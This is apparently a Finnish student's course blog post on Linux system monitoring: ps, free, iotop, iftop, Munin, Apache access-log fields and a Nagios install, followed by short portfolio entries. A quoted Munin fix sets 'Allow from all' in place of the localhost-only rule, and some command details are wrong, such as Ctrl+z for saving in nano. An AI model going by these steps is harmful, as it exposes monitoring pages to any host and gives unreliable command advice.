Testissä stress kuormitti CPU:ta noin 24-30% ja muistia 3-13% vaihdellen yllättävän paljon. Vaihdoin htop listan järjestystä prosessorin ja muistin kuormituksen mukaan komennoilla shift+m ja shift+p.

ps

Laitoin stress -ajon pyörimään taustalle ja tarkastelin tilannetta komennolla ps waux | grep meri, joka näyttää käyttäjän meri prosessit. Opiskelin ps:n eri parametrejä ja laadin itselleni tällaisen komennon: ps -U meri -o pid,euser,stat,cmd,%mem,%cpu. Se näyttää käyttäjän meri prosessit, cpu ja ram käytön ynnä muuta.
Screenshot - ps

free -m

Sitten tarkastelin muistin tilannetta free -m komennolla. Tulokset on taulukossa luettavuuden takia:

meri@p01:~$free -m
total used free shared buffers cached
Mem: 3699 2195 1504 21 89 694
-/+ buffers/cache: 1411 2288
Swap: 3836 0 3836

Tähän komentoon kun lisätään -h, niin saadaan tiedot paremmassa muodossa eli ns. ”human readable form”

meri@p01:~$ free -m -h
total used free shared buffers cached
Mem: 3,6G 1,4G 2,2G 21M 91M 695M
-/+ buffers/cache: 670M 3,0G
Swap: 3,7G 0B 3,7G
iotop

Seuraavaksi tarkastellaan iotop ohjelmaa. Ajoin komennon iotop -o, mutta järjestelmä kertoi, että se ei ole asennettuna ajoin siis komennon sudo apt-get install iotop ja sitten uudelleen iotop -o, jolloin järjestelmä huomautti, että tämä tulee ajaa sudona. Viimein onnisti: sudo iotop -o. Aiheutin vähän liikettä aikaisemmin mainitulla stress komennolla. Tältä se näytti:

Screenshot - iotop

Tämä auttanee selvittämään, mikäli jossain järjestelmässä on pullonkauloja. Lopetin iotopin komennolla ”q”.

iftop

Sitten ajetaan iftop, joka tutkii verkkoliikennettä. Jälleen asennetaan ohjelma ensin sudo apt-get install iftop. Ohjelmaan täytyy antaa parametriksi oikea verkkokortti, joten tarkastetaan oikea ip addr -komennolla. Verkkokorttini on eth0 joten komennoksi tulee sudo iftop -i eth0. Aiheutin liikennettä pingaamalla google.comia samalla. Kiinnitin huomiota siihen, että windows 7 työasemani ottaa jatkuvasti yhteyttä tähän linux koneeseen. Molemmat ovat siis samassa lähiverkossa.

Munin

Menin katsomaan Muninin tuotoksia.

Munin kuvaajia

Munin kuvaajia

Se oli toiminut hyvin ja piirtänyt kuvaajaa, mutta en saa Dynazoomia toimimaan eli yksittäisen kuvaajan kun yrittää avata suuremmaksi, niin kuvaa ei ole. Googletin mahdollista ratkaisua ja sellaista ei ole toistaiseksi löytynyt.

Munin Dynazoom ei toimi

Munin Dynazoom ei toimi

Kokeilin täältä löytynyttä ohjetta, mutta se ei auttanut:

But enabling the apache2 cgi (or cgid) makes the dynazoom work.
sudo a2enmod cgi; sudo /etc/init.d/apache2 restart

Sitten löysin toisen ohjeen, kokeillaan sitä. Siirrytään cd:llä seuraavaan hakemistoon ja ajetaan seuraava komento (oli pakko sudottaa). meri@p01:/etc/munin$ sudo nano apache.conf. Muokataan tiedostoa ohjeen mukaan ja tallennetaan Ctrl+z, sitten Y ja enter.

Please edit this file:

/etc/munin/apache2.conf

# Enables fastcgi for munin-cgi-graph if present
ScriptAlias /munin-cgi/munin-cgi-graph /usr/lib/munin/cgi/munin-cgi-graph

Order allow,deny
# Allow from localhost 127.0.0.0/8 ::1
Allow from all
# AuthUserFile /etc/munin/munin-htpasswd
# AuthName "Munin"
# AuthType Basic
# require valid-user

SetHandler fastcgi-script
ScriptAlias /munin-cgi/munin-cgi-html /usr/lib/munin/cgi/munin-cgi-html

Order allow,deny
# Allow from localhost 127.0.0.0/8 ::1
Allow from all
# AuthUserFile /etc/munin/munin-htpasswd
# AuthName "Munin"
# AuthType Basic
# require valid-user

SetHandler fastcgi-script
You will see "Allow from localhost 127.0.0.0/8 ::1" for both munin-cgi-graph and munin-cgi-html. Please comment these lines out and add "Allow from all" (change this depending on your security settings of course) and restart apache2. Now you should be able to zoom to your graphs.

Eipä auttanut tämäkään. Tällä erää ei ole enempää aikaa käyttää tuon ihmettelyyn. Analysointia on vaikea suorittaa ilman tarkempaa kuvaa.

Lokit

Linuxissa lokit löytyvät paikasta /var/log/ kurkistetaan siis mitä täältä löytyy.

Screenshot - logs

/var/log/ sisältö

Katselin muutamia lokeja ensin esim. munin kansiosta, sitten menin kansioon apache2 (cd apache2) ja avasin sieltä access.log tiedoston nanolla: nano access.log. Huomasin, että sinne oli tullut muun muassa Muninin auheuttamia rivejä. Loin tälle koneelle webpalvelimen jo aikaisemmassa tehtävässä, joten menin firefoxilla osoitteeseen localhost. Sen jälkeen menin uudelleen katsomaan apache2:n access.logia ja siellä oli uusia rivejä.

Screenshot - accesslog

Apache2:n access.log viimeiset rivit

Tarkastellaan lähemmin näitä rivejä:

127.0.0.1 - - [06/Sep/2015:13:38:18 +0300] "GET / HTTP/1.1" 200 3594 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0"
127.0.0.1 - - [06/Sep/2015:13:38:18 +0300] "GET /icons/ubuntu-logo.png HTTP/1.1" 304 179 "http://localhost/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firef$
127.0.0.1 - - [06/Sep/2015:13:38:18 +0300] "GET /favicon.ico HTTP/1.1" 404 498 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0"
127.0.0.1 - - [06/Sep/2015:13:40:04 +0300] "GET /server-status?auto HTTP/1.1" 200 497 "-" "munin/2.0.19-3 (libwww-perl/6.05)"

Apachen dokumentaatiosta löytyy selitteet, käydään läpi yllä olevan lokin ensimmäinen rivi:

  • 127.0.0.1 on lähde ip osoite, josta yhteyttä on otettu. Tässä tapauksessa localhost.
  • on tietoa, jota ei ole saatavilla. Tässä kohtaa se tarkoittaa RFC 1413 Ident protokollaa. Apachen mukaan tämä tieto ei ole luotettavaa vaikka olisikin saatavilla, joten sillä ei juuri ole väliä. Lisätietoja wikipediasta.
  • jälleen viiva eli tietoa ei ole saatavilla. Tässä pitäisi olla käyttäjän userid eli käyttäjätunnus. Tunnus näkyy vain mikäli autentikointi on vaadittua. Apachen perus sivulle ei tarvitse kirjautua, joten tässä on viiva.
  • [06/Sep/2015:13:38:18 +0300] on aikaleima hetkestä, jolloin pyyntö on otettu vastaan. Muoto on päivä/kuukausi/vuosi:tunnit:minuutit:sekunnit aikavyöhyke.
  • ”GET / HTTP/1.1” eli request line. Apachen mukaan tässä on tärkeää tietoa. Ensin kerrotaan yhteydenottajan metodi eli GET. Sitten kerrotaan mitä on pyydetty eli tässä tapauksessa se puuttuu kokonaan (voisi olla esimerkiksi kuvan nimi). Sitten tulee protokolla eli HTTP 1.1.
  • 200 on statuskoodi, jonka palvelin lähettää asiakkaalle. Numerolla 2 alkavat koodit tarkoittavat onnistunutta vastausta. 3 alkavat = uudelleen ohjaus, 4 alkavat = asiakkaan aiheuttama virhe ja 5 alkavat palvelimen virhe. Lista koodeista täältä.
  • 3594 tarkoittaa palautetun objektin kokoa.
  • ”-” paikalla olisi osoite, josta asiakas on siirtynyt. Tässä on kirjoitettu osoite tyhjään välilehteen, joten sellaista osoitetta ei tässä tapauksessa ole.
  • ”Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0” sisältää tiedon, jonka asiakas-selain lähettää itsestään. Tässä näyttäisi olevan selaimen ja käyttäjärjestelmän tietoja.

Apache kutsuu tätä lokitus-formaattia combined log format -nimellä. Katsotaan vielä mitä eroavaisuuksia muilla riveillä on.

  • Lokirivissä 2 näkyy kohta ”GET /icons/ubuntu-logo.png HTTP/1.1” ja tässä on siis pyydetty kohde, joka on ubuntu-logo.png. Nyt näkyy myös tuo osoite, josta asiakas on tullut eli http://localhost/.
  • Lokirivissä 3 on paluukoodiksi tullut 404 eli siis varmasti yksi tunnetuimmista koodeista, joka tarkoittaa ettei pyydettyä resurssia löytynyt –  ”not found”
  • Lokirivi 4 on puolestaan Muninin aiheuttama.  Tämä pisti silmään: ”GET /server-status?auto HTTP/1.1” eli tuo server-status?auto kohta onkin vain Muninin pyytämä tuon niminen resurssi. ”munin/2.0.19-3 (libwww-perl/6.05)” puolestaan on tieto, jonka munin lähettää itsestään palvelimelle.

Nagios valvonta

Asennus

Asennetaan siis Nagios, lähtötietoja ei oikeastaan ollut. Etsin oikean paketin komennolla apt-cache nagios. Nagios3 näyttää olevan täysi paketti joten asentamaan: sudo apt-get install nagios3. Asennus pyytää valitsemaan sähköpostipalvelimen asetukset, valitsen internet site. Sitten pyydetään domainia. Annan oman ostetun domainini, esim. ”example.com”. Sen jälkeen pyydetään admin salasanaa nagiosadminille ja annan vahvan sellaisen.

Nagiokseen pääsee selaimella kiinni osoitteessa http://localhost/nagios3 (tai localhostin tilalle ip osoite). Sivu pyysi asennuksen aikana annettuja tunnuksia ja päästi sisään:

Screenshot - nagios

Täältä näkyy yksi hälytys.

Screenshot - nagios2

Katsotaan ongelmaa tarkemmin:

Screenshot - problem

Googletan virheen ja selviää, että tämä virhe tulee aina oletuskonfiguraatiolla, koska edes rootilla ei ole oikeutta tuohon hakemistoon.

Aika ei riitä Nagioksen konfigurointiin sen paremmin tällä erää.

 

Lähteet

http://www.terokarvinen.com
https://lehtonenkari.wordpress.com/tag/munin/

About
This document can be copied and edited according to the GNU General Public License (version 3 or newer). http://www.gnu.org/licenses/gpl.html
Based on a course by Tero Karvinen, http://www.terokarvinen.com

Blender basics

I attended Blender basics course on the fall of 2014. Modeling was a lot of fun, I really liked it. Here are some of my renders.

Ohjelmistokehitys – Java EE

Ohjelmistokehityskurssilla keväällä 2015 saimme tehtäväksi tehdä 3,5kk aikana Scrum projektilla kuvitteelliselle pizzerialle websivuston jsp teknologialla.  Sivustolta piti pystyä tilaamaan pizzaa ja muita tuotteita, tietojen tuli tallettua tietokantaan. Scrum koostui kolmesta sprintistä. Kurssin tehtävänä oli myös tutustuttaa oppilaat Scrum-kehitykseen.

Ryhmämme koostui kuudesta jäsenestä. Vaihtelimme rooleja sprinttien välillä. Olin yhden sprintin ajan Scrum Master ja kahdessa kehittäjä. Ohjelmoinnista sain oppia JSP:tä eli JavaServer Pages teknologiaa. Java oli ennestään tuttua, mutta siitä tuli monta uutta asiaa sillä servletit olivat täysin uusi asia. Dokumentoinnin osalta meidän tuli luoda kaikki viralliset dokumentit kuten suunnittelu- ja määrittelykuvastot, testausdokumentaatio ja sprint backlog. Työmäärän arvioinnissa tuli kehityttyä projektin edetessä. Kurssi oli hyvin opettavainen kaikilta osin.

sisällys

Windows palvelimen luonti pilviympäristössä

Perustin virtuaalipalvelimen koulun labrassa. Palvelimelle asensin Windows server 2012 R2 käyttöjärjestelmän ja sille konfiguroitiin mm. nimi, etäyhteydenotto mahdollisuus ja verkkoasetukset. Sitten otin palvelimesta snapshotin ja templatesta loin toisen samanlaisen palvelimen, jonka sitten yksilöin. Ensimmäiselle palvelimelle MIE-DC1 perustin aktiivihakemiston (AD) ja toinen palvelin MIE-FSRV1 tulee olemaan tiedostopalvelin.

Harjoitus jatkuu ensi viikolla.

Lähde:
Haaga-Helian kurssi ”Windows palvelinkäyttöjärjestelmänä” ICT4TN001-19